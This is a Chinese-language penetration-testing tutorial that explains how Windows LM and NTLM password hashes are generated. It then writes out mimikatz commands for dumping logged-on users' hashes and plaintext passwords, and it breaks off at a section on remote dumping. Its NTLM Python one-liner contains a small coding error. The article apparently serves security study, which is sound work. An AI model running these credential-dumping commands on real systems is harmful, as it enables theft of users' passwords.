Windows用户密码的加密与破解利用

声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失 , 均由使用者本人负责 , 雷神众测以及文章作者不为此承担任何责任 。
雷神众测拥有对此文章的修改和解释权 。如欲转载或传播此文章 , 必须保证此文章的完整性 , 包括版权声明等全部内容 。未经雷神众测允许 , 不得任意修改或者增减此文章内容 , 不得以任何方式将其用于商业目的 。
前言
在研究 Hashcat 的时候涉及到了 windows 的Hash破解 , 感觉这个地方还是有一些姿势点和细节的 , 特写此文章记录之 。
No.1
Hash简介
Hash 一般翻译为“散列” , 也可直接音译为“哈希”的 。这个加密函数对一个任意长度的字符串数据进行一次加密函数运算 , 然后返回一个固定长度的字符串 。Hash主要用于信息安全领域中加密算法 , 渗透测试中获取目标系统的明文或Hash往往是整个渗透测试过程中重要的一环 。在Windows系统中本机用户的密码Hash是放在本地的SAM文件里面 , 域内用户的密码Hash是存在域控的NTDS.DIT文件里面 。
No.2
Windows Hash分类
LM
LM Hash简介
LAN Manager(LM)哈希是Windows系统所用的第一种密码哈希算法 , 是一种较古老的Hash , 在LAN Manager协议中使用 , 非常容易通过暴力破解获取明文凭据 。它只有唯一一个版本且一直用到了NT LAN Manager(NTLM)哈希的出现 , 在Windows Vista/Windows 7/Windows Server 2008以及后面的系统中 , LM哈希算法是默认关闭的 , LM算法是在DES基础上实现的 , 不区分字母大小写 。
LM Hash生成原理
1.用户的密码转换为大写 , 密码转换为16进制字符串 , 不足14字节将会用0来再后面补全 。
2.密码的16进制字符串被分成两个7byte部分 。每部分转换成比特流 , 并且长度位56bit , 长度不足使用0在左边补齐长度
3.再分7bit为一组,每组末尾加0 , 再组成一组
4.上步骤得到的二组 , 分别作为key 为 KGS!@# $%进行DES加密 。
5.将加密后的两组拼接在一起 , 得到最终LM HASH值 。
LM Hash缺点
1.密码长度最大只能为14个字符
2.密码不区分大小写
3.如果密码强度是小于7位 , 那么第二个分组加密后的结果肯定是aad3b435b51404ee
4.Des密码强度不高
NTLM
NTLM Hash简介
NT LAN Manager(NTLM)哈希是Windows系统认可的另一种算法 , 用于替代古老的LM-Hash , 一般指Windows系统下Security Account Manager(SAM)中保存的用户密码hash , 在Windows Vista/Windows 7/Windows Server 2008以及后面的系统中 , NTLM哈希算法是默认启用的 。
NTLM Hash生成原理
1.先将用户密码转换为十六进制格式 。
2.将十六进制格式的密码进行Unicode编码 。
3.使用MD4摘要算法对Unicode编码数据进行Hash计算
Python2 -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "P@ssw0rd".encode("utf-16le")).digest)'
e19ccf75ee54e06b06a5907af13cef42
No.3
Windows Hash抓取
mimikatz

Windows用户密码的加密与破解利用

文章插图
项目地址:
https://github.com/gentilkiwi/mimikatz
Mimikatz是一个开源的项目 , 用于Windows下读取已经登录过的用户Hash和明文密码 , 要顺利的读取密码必须具有Admin或者System权限 , 所以它也是内网渗透神器之一 。
本地交互式抓取
运行mimikatz.exe , 弹出mimikatz的窗口 , 输入如下命令:
显示您是否具有适当的权限来继续:
mimikatz # privilege::debug
启动日志记录功能:
mimikatz # log
输出存储在此计算机上的所有明文密码:
mimikatz # sekurlsa::logonpasswords
此时会在当前shell运行的目录下生成mimikatz.log , 这里面记录了抓取密码的一些详细情况 。
本地非交互式抓取
在高权限的CMD命令行下直接运行:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > mimikatz.txt
此时会在当前shell运行的目录下生成mimikatz.txt , 这里面记录了抓取密码的一些详细情况 。
远程非交互式抓取
实验环境
Windows用户密码的加密与破解利用


推荐阅读